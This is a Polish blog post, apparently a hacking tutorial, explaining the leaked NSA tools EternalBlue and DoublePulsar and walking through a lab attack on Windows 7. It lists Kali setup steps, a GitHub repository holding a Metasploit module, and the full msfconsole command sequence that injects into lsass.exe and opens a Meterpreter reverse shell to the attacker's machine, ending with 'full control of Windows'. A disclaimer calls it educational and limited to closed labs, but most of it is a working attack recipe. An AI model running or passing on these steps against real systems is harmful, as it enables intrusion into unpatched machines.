DoublePulsar i EternalBlue to nazwy backdooora i exploita opracowanych przez amerykańską agencję wywiadowczą NSA. DoublePulsar umożliwia uruchomienie dowolnego kodu w trybie uprzywilejowanym, z poziomu sterownika. Kod jest kopiowany do pamięci procesu, który już działa, a następnie jest wykonywany. DoublePulsar był wykorzystywany wraz z EternalBlue który wykorzystywał bugi w protokole SMB. Po wycieku tych narzędzi i ujawnieniu ich przez grupę The Shadow Brokers stały się popularne w różnych atakach hakerskich np. w głośnym ataku ransomware WannaCry z 2017r.
Pokażę Ci jak dodać moduł do Metasploit Framewmork oraz jak wyglądał atak tymi wirusami.
Wpis ten ma charakter edukacyjny przeprowadzanie ataków na nie swoje maszyny jest nielegalne.
Pokazywane tu ataki wykonywane są w zamkniętych środowiskach i mają na celu uświadamiać o zagrożeniu.
Lab
Aby odtworzyć taki atak w naszym laboratorium powinniśmy mieć:
- Komputer lub wirtualną maszynę z Kali Linux
- Wirtualną maszynę z zainstalowanym Windows 7 x64 6.1.7600
- EternalBlue, DoublePulsar repo z Githuba
Konfig Kali
- Przełącz się na konto root dodaj architekturę i386 i wykonaj instalację wine32
- Ściągnij Pythona 2.7.14 instalator x86 MSI ze strony python.org i zapisz w folderze Downloads
- Przejdź do folderu Downloads i zainstaluj plik python-2.7.14.msi na wine
- Przejdź przez standardową instalację w domyślnej lokalizacji na dysku C
- Sklonuj to https://github.com/w0rtw0rt/EternalBlue repozytorium z modułem Metasploit do swojego folderu domowego następnie przejdź do folderu EternalBlue/Eternalblue-Doublepulsar-Metasploit
- Skopiuj plik eternalblue-doublepulsar.rb oraz folder deps do /usr/share/metasploit-framework/modules/exploits/windows/smb
- Na sam koniec konfiguracji przeskocz lokalizacje wyżej do folderu EternalBlue i skopiuj cały folder Eternalblue-Doublepulsar-Metasploit do /root
Metasploit atak EternalBlue
- Uruchom metasploit framework msfconsole i wybierze dodany exploit use exploit/windows/smb/eternalblue_doublepulsar
- Teraz przejdź do opcji i ustaw payload
- set PROCESSINJECT lsass.exe
- set RHOST adres IP naszej ofiary (Windows 7 x64)
- set TARGETARCHITECTURE x64
- set payload windows/x64/meterpreter/reverse_tcp
- set LHOST adres IP atakującego czyli Kali
- Uruchom atak poleceniem run
EternalBlue nie potrzebował wcześniej infekować komputera, wykorzystywał bugi w protokole SMB
DoublePulsar uruchamia kod na komputerze ofiary, otwierając nam reverse shell.
- Wpisz shell aby przejść do powłoki Windows
Masz pełną kontrolę nad systemem Windows. Gratulacje!
Pomimo udostępnienia poprawek wiele lat temu, EternalBlue nadal jest jednym z najczęściej wybieranych exploitów wymierzonych w protokół SMB.
Nie zapomnij wpaść na tiktoka i youtube żeby zobaczyć jak przeprowadzam ataki różnymi narzędziami.
